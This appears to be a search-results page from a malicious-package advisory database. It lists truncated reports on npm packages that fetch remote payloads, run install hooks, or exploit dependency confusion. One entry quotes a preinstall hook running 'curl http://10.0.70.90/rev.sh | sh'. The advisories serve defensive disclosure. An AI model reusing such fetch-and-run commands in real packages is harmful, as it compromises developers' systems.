138453 matches found
MAL-2026-13676 Malicious code in svelte-cache-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...
Malicious code in svelte-cache-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...
MAL-2026-13614 Malicious code in aclade-agent (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a2b361ca760d6a5ed8413f5b9212bc775b6c321183c15f60fb14973b83fddc3d The package runs as a daemon that polls https://aclade.com/api/connector/poll and executes task objects returned by the remote server. Supported...
MAL-2026-13616 Malicious code in hardhat-cap (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d9de53c9b5916edf45f9055ecdb2fbdd0752cfe7779f37c7d294a16788faf8 The package is published as hardhat-cap but its README, LICENSE, index.d.ts, and lib/proto.js / lib/tools.js are a verbatim copy of the pino logger,...
Malicious Package
Overview transform-es2015-unicode-regex is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and thi...
Malicious code in base-ui-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6bd7a855915fc307b9d0c8feee91b135ea2724c300205df6fd3dcb32833ee95b dist/index.js issues fetch calls to https://base-ui-pro-registry.l-dimitrov.workers.dev in addition to https://registry.npmjs.org. The Cloudflare...
MAL-2026-13521 Malicious code in @rbxst/services (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8e349df2092cb3672698c00cefa5268881f21a60d1f71394c9e223b40d086d2 scripts/postinstall.js runs at npm install time. On Windows it downloads a ZIP archive from https://files.catbox.moe/rp8idk.zip anonymous file-hostin...
ROOT-APP-NPM-CVE-2023-26144 CVE-2023-26144 in graphql - Patched by Root
Root has patched CVE-2023-26144 in the graphql package for Root:npm. Multiple fixed versions available...
Malicious code in internallib_v514 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...
NPM: Mermaid XY Charts are vulnerable to an infinite loop DoS
NPM: Mermaid XY Charts are vulnerable to an infinite loop DoS vulnerability discovered by ? in WordPress Npm mermaid versions = 10.6.0, 10.9.8...
Malicious Package
Overview statist-statist-core is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
Malicious code in lib-frontsga (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 53a65c44cfdcbc89df47508f3f87fcab836f1fa2f4adf2298ecfb47cd6088038 Package name 'lib-frontsga' published to the public npm registry at version 9.999.999 targets an internal package name via dependency-confusion...
Malicious code in @wbnr/frontend-shared (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6208a0da32b8b7ae795d85ecbf95788b876729db08b0a595ad24f05a02dbbdbe The package declares a preinstall lifecycle script preinstall.js that automatically runs on npm install. The script reads the installer's OS username...
Malicious Package
Overview tsihealth-client is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
Malicious code in fetchrtds (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 74e0a6afc9e0684beee9d75d2f4966507178bed2499c8f5453629a0b827a80ef On npm install, the package's postinstall script reads a config URL defaulting to https://slimopump.vercel.app/config/clob-math.json, fetches a.tgz...
Malicious code in vitest-preview-pro-all (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddcab31555f393ab1d7df6ea760094517d20acdf764a27983f19d853783e63a7 package.json postinstall runs lib/utils/index.js, which spawns a detached Node child executing lib/utils/smtp-connection/index.js. That file is heavi...
MAL-2026-13401 Malicious code in helmet-pro (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ea17cadddf76a704e98b6c98881f654b13eb16a54d51af5a6b547e36a58d3402 [email protected] is a typosquat of the popular helmet HTTP-header middleware. Its package.json postinstall hook runs lib/utils/index.js, which spawn...
Malicious code in svelte-mapped-metrics (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 666d747ec06fa428dfb0f21867e6001b52450fee1770061dcd9bd0ec9e3731fa [email protected] shows no evidence of credential access, install-time or import-time code execution from remote sources, silent relay of...
Malicious Package
Overview statist-browser-typed-client-rubliq.platform.keycloak is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between th...
